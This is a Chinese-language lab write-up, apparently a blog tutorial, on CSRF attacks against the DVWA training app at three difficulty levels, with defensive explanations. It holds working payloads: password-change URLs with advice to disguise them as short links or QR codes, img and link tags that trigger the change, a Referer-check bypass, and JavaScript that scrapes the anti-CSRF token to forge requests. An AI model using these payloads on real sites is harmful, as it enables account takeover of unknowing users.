CSRF(跨站请求伪造)
- Cross-site request forgery
危害:
-
短链接欺骗
-
更改 dvwa 密码的 url
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
-
转换为短链接
-
攻击流程:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
漏洞检测:
- 抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
- 检测工具:CSRFTester,CSRF Request Builder等
防御:
-
验证 HTTP Referer 字段;
HTTP 头中的 Referer 字段,记录了该 HTTP 请求的来源地址(如果是伪造的跨站请求则该字段记录的攻击者 ip)
-
在请求地址中添加 token 并验证;
要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。
可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
-
在 HTTP 头中自定义属性并验证。
把 token 通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去
模拟网络
- 受害者 IP:192.168.191.1
- web服务器(dwva)192.168.191.136 在这简要称之为 Web1
- 攻击者(恶意网站) IP:192.168.191.139 在这简要称之为 Web2
low
原理
-
dvwa 中 low 级别的 CSRF 更改密码的参数可以直接显示到 url 中
-
当修改密码为
1234
时,url 中的参数http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
-
当在网页地址栏直接输入上述 url 时,更改密码参数即可直接更改密码
漏洞利用
-
受害者打开网站后,诱导对方直接点击链接,达到修改密码的目的
http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
但此方法太蠢(
password
太显眼),可以使用短链接或生成二维码等方式使对方执行该代码 -
将长URL转换为较短的URL
可以隐藏 url 中的参数
medium
尝试 low 级别方法
-
切换为中级难度时,再次直接在
url
中输入更改密码的请求时,显示更改密码失败
原理
-
对比 low 级别和 medium 级别的源码
多了以下代码,用于检查当前页面的来源是否与服务器主机名匹配
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
-
代码分析
$_SERVER[ 'HTTP_REFERER' ]
是一个包含前一个页面的URL的字符串,它是$_SERVER
超全局变量的一个键。它表示用户从哪个页面跳转到当前页面。$_SERVER[ 'SERVER_NAME' ]
是一个包含当前运行脚本的服务器的主机名的字符串,也是$_SERVER
超全局变量的一个键。它表示当前服务器的主机名。stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])
是一个字符串函数stripos()
的调用,用于在$_SERVER[ 'HTTP_REFERER' ]
中查找$_SERVER[ 'SERVER_NAME' ]
的第一次出现位置(不区分大小写) 。如果找到了匹配的字符串,则返回第一次出现的位置(从0开始计数),否则返回false
。- 代码含义:如果当前页面的来源包含 dvwa 服务器主机名,则执行
if
代码块中的语句,否则跳过if
代码块
low 级别方法失败原因
直接访问网站时,通常不会有referer值。Refer值是HTTP请求头的一部分,用于指示请求的来源。当用户通过点击链接或从其他网页跳转到目标网站时,浏览器会自动在HTTP请求头中添加Refer值,以便目标网站可以知道用户是从哪个网页跳转过来的。然而,如果用户直接在浏览器中输入网址或从书签中访问网站,则不会有Refer值。
抓包分析
-
受害者端寻找失败原因
-
直接在地址栏中输入更改密码的
url
抓取的数据包中并未显示referer
参数 -
无
referer
参数则无法进行代码中的stripos()
匹配,不会执行if
语句中的更改密码语句,直接返回else
中的That request didn't look correct.
-
再次在 url 中尝试在数据包中修改参数
在数据包中手动添加
referer
参数,包含$_SERVER[ 'SERVER_NAME' ]
中的字符串即HOST
参数中的内容(192.168.191.136)(Web 1 的主机) -
放包,显示密码修改成功
-
可以得出,只要参数
referer
中包含host
参数中的内容就可成功完成更改密码请求
漏洞点
-
只要参数
referer
中包含host
中的参数(Web1主机地址),就可成功完成请求 -
可以利用这一点漏洞,可以想办法在恶意网站的地址中添加带有 Web1 主机地址的字段
-
我们可以伪造 Web2 网站,在其网站路径中添加
192.168.191.136
(web1 主机地址)字段,这样受害者向 web1 请求来自恶意网站(web2)要求的操作时,传给 web1 的数据包的referer
参数(恶意网站 web2 的地址),就包含了 web1 的主机地址,就可以绕过 medium 级别的 CSRF 防御
漏洞实施
-
注意复现使用 IE 浏览器
-
搭建恶意网站,使恶意网站
url
中包含 web1 主机(192.168.191.136)字段恶意网站中的内容有强制受害者访问更改密码的
url
的恶意代码 -
可以借助
<img>
标签受害者在访问跨站攻击的恶意网站时,自动加载
<img>
标签,此时<img>
标签指定图片的url
地址会被访问如果该
url
地址非图片的url
而是一段修改密码的恶意代码,则访问执行该url
时受害者的密码会直接被更改<img>
标签内容如下<img src="http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=abcde&password_conf=abcde&Change=Change#">
-
通过 medium 难度需要使
referer
中包含host
:方法:网页名包含 web1 主机字段
受害者访问恶意网站(192.168.191.139)
![image-20231113150159152](https://img-blog.csdnimg.cn/img_convert/aa1e464bc6c2cf8c733aae08820b90c7.png)
-
抓包查看
放掉无用的数据包,可以看到
失败,但用 windows server 自带的 IE 浏览器可以成功复现
浏览器安全机制,有些浏览器可能会限制Referer字段的长度,导致较长的URL无法完整显示。
使用 IE 浏览器
referer
参数可以完全显示,再次登录使用修改后的密码abcde
成功登录
-
方法2(实际使用没用)
-
在 phpstudy 下新建
passwordchg.html
文档,编写代码<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change#"> <!--当受害者访问此网站时,会执行修改密码的代码-->
-
此时受害者登录 dvwa 网站,密码为
password
-
访问修改密码的恶意网站
-
此时密码已被修改为
asd
-
除
<img>
标签外,也可以用其他形式来实现执行修改密码的url
的操作例如在
passwordchg.html
中添加以下代码此代码定义一个链接标签
点击
<a>链接</a>
则跳转到链接页面执行链接的结果时更改 dvwa 登录密码为
123
<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#">点击</a> <!--图片文件和 passwordchg.html 文件在同级目录下-->
-
受害者原密码为
password
-
点击链接
-
弹出页面,显示密码已更改
-
再次使用原密码
password
无法登录 -
输入恶意网站更改的密码
123
,登陆成功
high
更改密码的请求报文
注意,出现同源策略问题,如果 F12 中报错,需要将欺骗网页放入 DVWA 服务器的 WWW 目录下。
可以利用 XSS 漏洞解决此问题,此处暂时不研究
GET 参数中携带了 token 值
GET 请求的参数:password_new
、password_conf
、Change
、user_token
通过 high 级别的 CSRF 重点在于获取 token
GET /dvwa/vulnerabilities/csrf/?password_new=abcde&password_conf=abcde&Change=Change&user_token=4da62b2db031e9b203b1ecdf51619035 HTTP/1.1
Host: 10.9.47.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.9.47.148/dvwa/vulnerabilities/csrf/
Cookie: security=high; PHPSESSID=anoin6aua8vi912mic0phcclg2
Upgrade-Insecure-Requests: 1
响应报文
抓包可以看到 token 存在于响应报文的正文中
<script>
//弹出cookie
alert(document.cookie);
//定义AJAX加载的页面
var theUrl = 'http://192.168.0.9/DVWA-master/vulnerabilities/csrf/';
//匹配浏览器
if (window.XMLHttpRequest){
// IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}else{
// IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;//更改次数统计,防止重复提交修改密码请求
//页面加载完成后执行函数
xmlhttp.onreadystatechange=function(){
//判断请求已完成并且响应就绪状态码为200时执行代码
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
//页面内容存储到text中进行匹配token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;//通过正则过滤取出Token
var match = text.match(regex);
console.log(match);
//弹出token
alert(match[1]);
var token = match[1];
//定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin
var new_url = 'http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change'//更改密码请求
//GET方式提交一次new_url
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
//GET方式提交theUrl
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
</script>
token 获取
在返回报文中成功获取 token
<html>
<head>
<meta charset="UTF-8">
<title>CSRF-high</title>
</head>
</html>
<script>
// 创建 Ajax 对象
var xhr = new XMLHttpRequest();
// 配置连接信息
xhr.open("GET","http://10.9.47.90/dvwa/vulnerabilities/csrf/",true);
// 发送请求
xhr.send();
// 页面加载完成时输出回应报文
xhr.onreadystatechange=function (){
if (xhr.readyState==4 && xhr.status==200){
var res=xhr.responseText;
console.log(res);
}
}
</script>
正则匹配 token
var match=/<input type='hidden' name='user_token' value='([^']*)' \/>/;
var token=res.match(match);
利用 token 发送更改密码请求
最终代码
<html>
<head>
<meta charset="UTF-8">
<title>CSRF-high</title>
</head>
</html>
<script>
// 创建 Ajax 对象
var xhr = new XMLHttpRequest();
// 配置连接信息
xhr.open("GET","http://10.9.47.90/dvwa/vulnerabilities/csrf/",true);
// 发送请求
xhr.send();
// 防止循环多次运行
flag=0
// 页面加载完成时输出回应报文
xhr.onreadystatechange=function (){
if (xhr.readyState==4 && xhr.status==200){
var res=xhr.responseText;
// console.log(res);
// 正则匹配 token 值
var match=/<input type='hidden' name='user_token' value='([^']*)' \/>/;
var token=res.match(match);
// console.log(token[1])
var chg_pass_url="http://10.9.47.90/dvwa/vulnerabilities/csrf/?password_new=gjl.com&password_conf=gjl.com&Change=Change&user_token="+token[1]
console.log(chg_pass_url)
if(flag==0){
flag+=1;
// 携带获取的 cookie 发送更改密码请求
xhr.open("GET",chg_pass_url,false);
xhr.send();
}
}
}
</script>
用户在登录 DVWA 时访问此网页,用户密码会被直接修改为 gjl.com
退出后再次登录,使用原始密码已经无法登录
使用 gjl.com 成功登录